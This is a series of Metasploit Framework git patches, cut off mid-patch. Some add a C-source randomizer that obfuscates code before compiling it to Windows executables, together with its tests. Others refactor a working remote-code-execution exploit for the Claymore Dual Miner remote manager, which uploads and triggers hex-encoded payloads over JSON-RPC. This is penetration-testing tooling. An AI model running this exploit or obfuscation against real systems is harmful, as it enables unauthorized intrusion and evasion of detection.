attr_reader :fake_function_collection attr_reader :function_list - def initialize(f, s=nil) - @fake_functions = f + # Initializes the RandomStatements class. + # + # @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection] + # @param s [Metasm::C::Declaration] + def initialize(p, fake_functions, s=nil) + @parser = p + @fake_function_collection = fake_functions @function_list = [ Proc.new { get_random_statements } ] - if s && !f.has_function_name?(s.var.name) + + # Only generate fake function calls when the function we are modifying isn't + # from one of those fake functions (to avoid a recursion). + if s && !fake_function_collection.has_function_name?(s.var.name) @function_list << Proc.new { get_random_function_call } end end + # Returns a random statement. + # + # @return [Array] + # @return [Array] def get function_list.sample.call end private + # Returns function arguments as a string. + # + # @param args [Array] + # @return [String] def make_func_arg_str(args) arg_array = [] @@ -41,6 +58,10 @@ module Metasploit %Q|(#{arg_array.join(', ')})| end + # Returns the arguments (in string) for function declaration. + # + # @param args [Array Date: Mon, 25 Jun 2018 16:50:05 -0500 Subject: [PATCH 046/217] Add compile_random_c func && support optional func collection --- lib/metasploit/framework/compiler/windows.rb | 22 +++++++++++++++++-- .../obfuscation/crandomizer/parser.rb | 2 +- .../crandomizer/random_statements.rb | 2 +- tools/exploit/randomize_c.rb | 4 +--- 4 files changed, 23 insertions(+), 7 deletions(-) diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index bf6f78c8fc..e019aaf1a4 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -2,6 +2,7 @@ require 'metasm' require 'erb' require 'metasploit/framework/compiler/utils' require 'metasploit/framework/compiler/headers/windows' +require 'metasploit/framework/obfuscation/crandomizer' module Metasploit module Framework @@ -13,7 +14,7 @@ module Metasploit # # @param c_template [String] The C source code to compile. # @param type [Symbol] PE type, either :exe or :dll - # @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new + # @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new # @raise [NotImplementedError] If the type is not supported. # @return [String] The compiled code. def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new) @@ -36,12 +37,29 @@ module Metasploit # @param out_file [String] The file path to save the binary as. # @param c_template [String] The C source code to compile. # @param type [Symbol] PE type, either :exe or :dll - # @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new + # @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new # @return [Integer] The number of bytes written. def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new) pe = self.compile(c_template, type) File.write(out_file, pe) end + + # Returns the binary of a randomized and compiled source code. + # + # @param c_template [String] + # + # @raise [NotImplementedError] If the type is not supported. + # @return [String] The compiled code. + def self.compile_random_c(c_template, opts={}) + type = opts[:type] || :exe + cpu = opts[:cpu] || Metasm::Ia32.new + fake_function_size = opts[:fake_function_size] || rand(0..3) + weight = opts[:random_weight] || 50 + headers = Compiler::Headers::Windows.new + source_code = Compiler::Utils.normalize_code(c_template, headers) + randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight) + randomizer.parse(source_code) + end end end diff --git a/lib/metasploit/framework/obfuscation/crandomizer/parser.rb b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb index d754deab92..453a910bd1 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/parser.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb @@ -14,7 +14,7 @@ module Metasploit # # @param weight [Integer] Randomness of the code. # @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection] - def initialize(weight, fake_functions) + def initialize(weight, fake_functions=nil) @max_random_weight = weight @fake_functions_collection = fake_functions end diff --git a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb index 3d4ff790ee..370f6c5472 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb @@ -22,7 +22,7 @@ module Metasploit # Only generate fake function calls when the function we are modifying isn't # from one of those fake functions (to avoid a recursion). - if s && !fake_function_collection.has_function_name?(s.var.name) + if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name) @function_list << Proc.new { get_random_function_call } end end diff --git a/tools/exploit/randomize_c.rb b/tools/exploit/randomize_c.rb index dcd31f83bd..8590a9c336 100644 --- a/tools/exploit/randomize_c.rb +++ b/tools/exploit/randomize_c.rb @@ -14,8 +14,6 @@ template = %Q| void printf(const char*); -#{fake_function_collection} - void test() { printf(MSG); } @@ -24,6 +22,6 @@ int main() { return 0; }| -p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(90, fake_function_collection) +p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(90) result = p.parse(template) puts result \ No newline at end of file From dcaa6230753976a240252397dca98ad71896a38c Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 00:09:04 -0500 Subject: [PATCH 047/217] make random compiling work --- lib/metasploit/framework/compiler/windows.rb | 17 +++++++++++++-- tools/exploit/randomize_c.rb | 23 ++++++++++---------- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/lib/metasploit/framework/compiler/windows.rb b/lib/metasploit/framework/compiler/windows.rb index e019aaf1a4..504ded2d8f 100644 --- a/lib/metasploit/framework/compiler/windows.rb +++ b/lib/metasploit/framework/compiler/windows.rb @@ -54,11 +54,24 @@ module Metasploit type = opts[:type] || :exe cpu = opts[:cpu] || Metasm::Ia32.new fake_function_size = opts[:fake_function_size] || rand(0..3) - weight = opts[:random_weight] || 50 + weight = opts[:random_weight] || 80 headers = Compiler::Headers::Windows.new source_code = Compiler::Utils.normalize_code(c_template, headers) randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight) - randomizer.parse(source_code) + randomized_code = randomizer.parse(source_code) + puts randomized_code + self.compile_c(randomized_code.to_s, type, cpu) + end + + # Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c + # + # @param out_file [String] The file path to save the binary as. + # @param c_template [String] The C source code to randomize and compile. + # @param opts [Hash] Options to pass to #compile_random_c + # @return [Integer] The number of bytes written. + def self.compile_random_c_to_file(out_file, c_template, opts={}) + pe = self.compile_random_c(c_template, opts) + File.write(out_file, pe) end end diff --git a/tools/exploit/randomize_c.rb b/tools/exploit/randomize_c.rb index 8590a9c336..2513b4bc0c 100644 --- a/tools/exploit/randomize_c.rb +++ b/tools/exploit/randomize_c.rb @@ -4,24 +4,23 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) -require 'metasploit/framework/obfuscation/crandomizer' - -fake_function_size = rand(0..3) -fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size) +require 'msf/core' +require 'metasploit/framework/compiler/windows' template = %Q| -#define MSG "BLAH" +#define CONTENT "HELLO WORLD" +#define TITLE "HI" +#include -void printf(const char*); - -void test() { - printf(MSG); +void TryHelloWorld() { + MessageBox(NULL, CONTENT, TITLE, MB_OK); } int main() { + TryHelloWorld(); return 0; }| -p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(90) -result = p.parse(template) -puts result \ No newline at end of file +out_file = '/tmp/helloworld.exe' +Metasploit::Framework::Compiler::Windows.compile_random_c_to_file(out_file, template) +puts "saved as #{out_file}" \ No newline at end of file From 8e058dd1a560a124d87c0571dd31b51864043851 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 00:09:36 -0500 Subject: [PATCH 048/217] Rename file --- tools/exploit/{randomize_c.rb => randomized_compile_c.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename tools/exploit/{randomize_c.rb => randomized_compile_c.rb} (100%) diff --git a/tools/exploit/randomize_c.rb b/tools/exploit/randomized_compile_c.rb similarity index 100% rename from tools/exploit/randomize_c.rb rename to tools/exploit/randomized_compile_c.rb From 752192bfad8d9f90d81692952ec4ed6b4b5ff1f4 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 00:13:56 -0500 Subject: [PATCH 049/217] Starting rspec --- .../obfuscation/crandomizer/utility_spec.rb | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb new file mode 100644 index 0000000000..44be7e4f21 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb @@ -0,0 +1,15 @@ +require 'spec_helper' +require 'metasploit/framework/obfuscation/crandomizer/utility' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Utility do + + describe '#self.rand_int' do + end + + describe '#self.rand_string' do + end + + describe '#self.parse' do + end + +end \ No newline at end of file From 53f158ef4ffe0f28714ddf49dda0e1440055222a Mon Sep 17 00:00:00 2001 From: phra Date: Wed, 27 Jun 2018 17:11:47 +0200 Subject: [PATCH 050/217] refactor: universal check, payload platform check --- .../claymore_dual_miner_remote_manager_rce.rb | 142 +++++++++++------- 1 file changed, 85 insertions(+), 57 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 915ba44741..703c479238 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -33,16 +33,19 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => ['win', 'linux'], 'Targets' => [ + [ 'Automatic Target', { 'auto' => true }], [ 'Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X64 + 'Arch' => ARCH_X64, + 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ] } ], [ 'Windows', { 'Platform' => 'windows', - 'Arch' => ARCH_X64 + 'Arch' => ARCH_X64, + 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] } ] ], @@ -60,66 +63,34 @@ class MetasploitModule < Msf::Exploit::Remote deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') end - def execute_command(cmd, opts = {}) - case target['Platform'] - when 'linux' - cmd = Rex::Text.to_hex(cmd, '') - when 'windows' - cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') - end - case target['Platform'] - when 'linux' - upload = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_file', - "params" => ['reboot.bash', "#{cmd}"] - }.to_json - when 'windows' - upload = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_file', - "params" => ['reboot.bat', "#{cmd}"] - }.to_json - end - begin - connect - sock.put(upload) - buf = sock.get_once || '' - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - print_error(e) - ensure - disconnect - end - trigger_vulnerability - end - - def trigger_vulnerability - execute = { + def select_target + data = { "id" => 0, "jsonrpc" => '2.0', - "method" => 'miner_reboot' + "method" => 'miner_getfile', + "params" => ['config.txt'] }.to_json connect - sock.put(execute) + sock.put(data) buf = sock.get_once || '' - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - print_error(e) - ensure - disconnect - end - - def exploit - case target['Platform'] - when 'linux' - execute_cmdstager - when 'windows' - execute_cmdstager(linemax: 20000) + tmp = StringIO.new + tmp << buf + tmp2 = tmp.string + hex = '' + if tmp2.scan(/\w+/)[5] + return self.targets[1] + elsif tmp2.scan(/\w+/)[7] + return self.targets[2] + else + return nil end end def check + target = select_target + if target.nil? + return Exploit::CheckCode::Safe + end data = { "id" => 0, "jsonrpc" => '2.0', @@ -139,9 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote when 'windows' hex = tmp2.scan(/\w+/)[7] end - if not hex - return Exploit::CheckCode::Safe - end str = Rex::Text.hex_to_raw(hex) if str.include?('WARNING') return Exploit::CheckCode::Vulnerable @@ -149,9 +117,69 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Detected end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - vprint_error(e) + vprint_error(e.message) return Exploit::CheckCode::Unknown ensure disconnect end + + def execute_command(cmd, opts = {}) + target = select_target + case target['Platform'] + when 'linux' + cmd = Rex::Text.to_hex(cmd, '') + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bash', "#{cmd}"] + }.to_json + when 'windows' + cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bat', "#{cmd}"] + }.to_json + end + + connect + sock.put(upload) + buf = sock.get_once || '' + trigger_vulnerability + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + fail_with(Failure::UnexpectedReply, e.message) + ensure + disconnect + end + + def trigger_vulnerability + execute = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_reboot' + }.to_json + connect + sock.put(execute) + buf = sock.get_once || '' + disconnect + end + + def exploit + target = select_target + if target.nil? + fail_with(Exploit::Failure::NoTarget, 'No matching target') + end + if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || + (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i) + fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'" + end + case target['Platform'] + when 'linux' + execute_cmdstager(flavor: :echo, linemax: 100000) + when 'windows' + execute_cmdstager(flavor: :vbs, linemax: 100000) + end + end end From da22b36997e91fd88775d55a1134a302f44be99c Mon Sep 17 00:00:00 2001 From: phra Date: Wed, 27 Jun 2018 17:16:38 +0200 Subject: [PATCH 051/217] chore: fix typo --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 703c479238..645ed39b63 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -173,7 +173,7 @@ class MetasploitModule < Msf::Exploit::Remote end if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i) - fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'" + fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'") end case target['Platform'] when 'linux' From bc0b42c55b14a347593805c8bea080aef1b0fb58 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 13:49:45 -0500 Subject: [PATCH 052/217] Add utility_spec.rb --- .../obfuscation/crandomizer/utility_spec.rb | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb index 44be7e4f21..562bdad031 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/utility_spec.rb @@ -4,12 +4,44 @@ require 'metasploit/framework/obfuscation/crandomizer/utility' RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Utility do describe '#self.rand_int' do + it 'returns an integer' do + int = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int + expect(int.class).to eq(Integer) + end + + it 'returns a random integer' do + int_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int + int_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int + expect(int_2).not_to eq(int_1) + end end describe '#self.rand_string' do + it 'returns a string' do + s = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string + expect(s.class).to eq(String) + end + + it 'returns a random string' do + s_1 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string + s_2 = Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string + expect(s_2).not_to eq(s_1) + end end describe '#self.parse' do + let(:c_code) { + %Q| + int main() { + const char* s = "This is a test"; + return 0; + }| + } + + it 'returns a Metasploit::C::Parser object' do + p = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_code) + expect(p.class).to eq(Metasm::C::Parser) + end end end \ No newline at end of file From a9427ef9ef4bcd9b322d2c7faed4fe2025b3ae43 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 16:50:09 -0500 Subject: [PATCH 053/217] Add rspec for RandomStatements class --- .../crandomizer/random_statements_spec.rb | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb new file mode 100644 index 0000000000..986707de8c --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb @@ -0,0 +1,41 @@ +require 'spec_helper' +require 'metasploit/framework/obfuscation/crandomizer/random_statements' +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements do + + let(:c_source_code) do + %Q| + int main() { + const char* s = "hello world"; + return 0; + }| + end + + subject(:random_statements) do + parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_source_code) + fake_function_size = rand(0..3) + fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size) + described_class.new(parser, fake_function_collection) + end + + describe '#initialize' do + it 'sets the parser' do + expect(subject.parser.class).to eq(Metasm::C::Parser) + end + + it 'sets the fake function collection object' do + expect(subject.fake_function_collection.class).to eq(Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection) + end + + it 'sets the fake function list' do + expect(subject.function_list).not_to be_empty + end + end + + describe '#get' do + it 'returns an array' do + expect(subject.get.class).to eq(Array) + end + end +end \ No newline at end of file From ede98ff8db4ae94430d6ae159c5728d67af745f9 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 17:10:35 -0500 Subject: [PATCH 054/217] Update random_statements_spec --- .../crandomizer/random_statements_spec.rb | 34 ++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb index 986707de8c..2c24ed124c 100644 --- a/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/random_statements_spec.rb @@ -14,7 +14,7 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements subject(:random_statements) do parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(c_source_code) - fake_function_size = rand(0..3) + fake_function_size = rand(1..3) fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size) described_class.new(parser, fake_function_collection) end @@ -38,4 +38,36 @@ RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements expect(subject.get.class).to eq(Array) end end + + describe '#make_func_arg_str' do + it 'returns the argument string' do + fake_function = subject.fake_function_collection.sample + fake_function_name = fake_function.var.name + fake_function_args = fake_function.var.type.args + s = subject.send(:make_func_arg_str, fake_function_args) + expect(s).to match(/(.+)/) + end + end + + describe '#make_func_declare_arg_str' do + it 'returns the function declaration argument string' do + fake_function = subject.fake_function_collection.sample + fake_function_name = fake_function.var.name + fake_function_args = fake_function.var.type.args + s = subject.send(:make_func_declare_arg_str, fake_function_args) + expect(s).to match(/(.+)/) + end + end + + describe '#get_random_statements' do + it 'returns an array' do + expect(subject.send(:get_random_statements).class).to eq(Array) + end + end + + describe '#get_random_function_call' do + it 'returns a function call' do + expect(subject.send(:get_random_function_call).class).to eq(Array) + end + end end \ No newline at end of file From d653115f1670a074e348f597d24712e57dfeccc9 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 17:18:35 -0500 Subject: [PATCH 055/217] Add parser_spec.rb --- .../obfuscation/crandomizer/parser_spec.rb | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/parser_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/parser_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/parser_spec.rb new file mode 100644 index 0000000000..4fb7bab000 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/parser_spec.rb @@ -0,0 +1,30 @@ +require 'metasploit/framework/obfuscation/crandomizer/parser' +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Parser do + let(:random_weight) do + 80 + end + + subject(:parser) do + described_class.new(random_weight) + end + + describe '#initialize' do + it 'sets the random weight' do + expect(subject.max_random_weight).to eq(random_weight) + end + end + + describe '#parse' do + it 'returns a parser' do + source_code = %Q| + int main() { + const char* s = "Hello World"; + return 0; + }| + + expect(subject.parse(source_code).class).to eq(Metasm::C::Parser) + end + end +end \ No newline at end of file From 56f38f77200eccbcff0ecd706e9e285e49807cea Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 17:30:21 -0500 Subject: [PATCH 056/217] Add some rspec for modifier --- .../obfuscation/crandomizer/modifier.rb | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb new file mode 100644 index 0000000000..c7635ac26c --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb @@ -0,0 +1,34 @@ +require 'metasploit/framework/obfuscation/crandomizer/parser' +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::Modifier do + subject(:modifier) do + weight = 80 + + source_code = %Q| + int main() { + int x = 0; + return 0; + }| + + p = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight) + parser = p.parse(source_code) + + fake_function_size = rand(1..3) + fake_function_collection = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection.new(fake_function_size) + + described_class.new(parser, fake_function_collection, weight) + end + + describe '#get_fake_statement' do + it 'returns an array' do + expect(subject.send(:get_fake_statement).class).to eq(Array) + end + end + + describe '#feeling_lucky' do + it 'returns an boolean' do + expect(subject.send(:feeling_lucky?).class).to eq(TrueClass).or eq(FalseClass) + end + end +end \ No newline at end of file From ad106ffc0db1e4844f2e6b7b60b55c773f5d0326 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 17:45:19 -0500 Subject: [PATCH 057/217] Add rspec for fake_function_spec.rb --- .../code_factory/fake_function_spec.rb | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_spec.rb diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_spec.rb new file mode 100644 index 0000000000..14315da184 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_spec.rb @@ -0,0 +1,40 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory/fake_function' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction do + let(:function_name) do + 'test' + end + + subject(:fake_function) do + described_class.new(function_name) + end + + describe '#initialize' do + it 'sets attribute' do + expect(subject.attribute.class).to eq(String) + end + + it 'sets a return type' do + expect(subject.return_type.class).to eq(String) + end + + it 'sets an argument type' do + expect(subject.args.class).to eq(String) + end + + it 'sets function name' do + expect(subject.function_name).to eq(function_name) + end + end + + describe '#generate_body' do + it 'contains a return type' do + return_type = subject.return_type + expect(subject.generate_body).to match(/#{return_type}/) + end + + it 'contains a function name' do + expect(subject.generate_body).to match(/#{function_name}/) + end + end +end \ No newline at end of file From cec506421d0c4a6490af979d21120defd2db61fc Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Wed, 27 Jun 2018 18:18:05 -0500 Subject: [PATCH 058/217] Add rspec fake_function_collection and update the lib --- .../code_factory/fake_function_collection.rb | 4 +- .../fake_function_collection_spec.rb | 49 +++++++++++++++++++ 2 files changed, 51 insertions(+), 2 deletions(-) create mode 100644 spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb index b6964619eb..1f18d67b7f 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb @@ -28,9 +28,9 @@ module Metasploit end end - # Returns a fake function from the FakeFunctionCollection object. + # Returns a fake Metasm::C::Declaration from the FakeFunctionCollection object. # - # @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction] + # @return [Metasm::C::Declaration] def sample functions.sample end diff --git a/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb new file mode 100644 index 0000000000..65a7064218 --- /dev/null +++ b/spec/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection_spec.rb @@ -0,0 +1,49 @@ +require 'metasploit/framework/obfuscation/crandomizer/code_factory' + +RSpec.describe Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection do + let(:max_function_count) do + 3 + end + + subject(:fake_function_collection) do + described_class.new(max_function_count) + end + + describe '#initialize' do + it 'sets functions' do + expect(subject.functions.class).to eq(Array) + expect(subject.functions.length).to eq(max_function_count) + end + + it 'sets the max function count' do + expect(subject.max_functions).to eq(max_function_count) + end + end + + describe '#sample' do + it 'returns a Metasm::C::Declaration object' do + expect(subject.sample.class).to eq(Metasm::C::Declaration) + end + end + + describe '#to_s' do + it 'converts function objects to a string' do + str = subject.to_s + expect(str).to match(/function/) + expect(str).to match(/return/) + end + end + + describe '#has_function_name?' do + it 'returns true if a function name is found' do + good_function_name = 'function1' + expect(subject.has_function_name?(good_function_name)).to be_truthy + end + + it 'returns false if a function is not found' do + bad_function_name = 'badfunctionname' + expect(subject.has_function_name?(bad_function_name)).to be_falsy + end + end + +end \ No newline at end of file From e61480594863d56df5b5a846085321cdca2c5b40 Mon Sep 17 00:00:00 2001 From: phra Date: Thu, 28 Jun 2018 01:27:51 +0200 Subject: [PATCH 059/217] chore: fix msftidy --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 645ed39b63..be964aa1fb 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -169,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit target = select_target if target.nil? - fail_with(Exploit::Failure::NoTarget, 'No matching target') + fail_with(Failure::NoTarget, 'No matching target') end if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i) From 54c2bc36e926b049c77986d5c14c35ff44558003 Mon Sep 17 00:00:00 2001 From: phra Date: Thu, 28 Jun 2018 01:33:56 +0200 Subject: [PATCH 060/217] fix: invert if else order --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index be964aa1fb..c5c553bf52 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -77,10 +77,10 @@ class MetasploitModule < Msf::Exploit::Remote tmp << buf tmp2 = tmp.string hex = '' - if tmp2.scan(/\w+/)[5] - return self.targets[1] - elsif tmp2.scan(/\w+/)[7] + if tmp2.scan(/\w+/)[7] return self.targets[2] + elsif 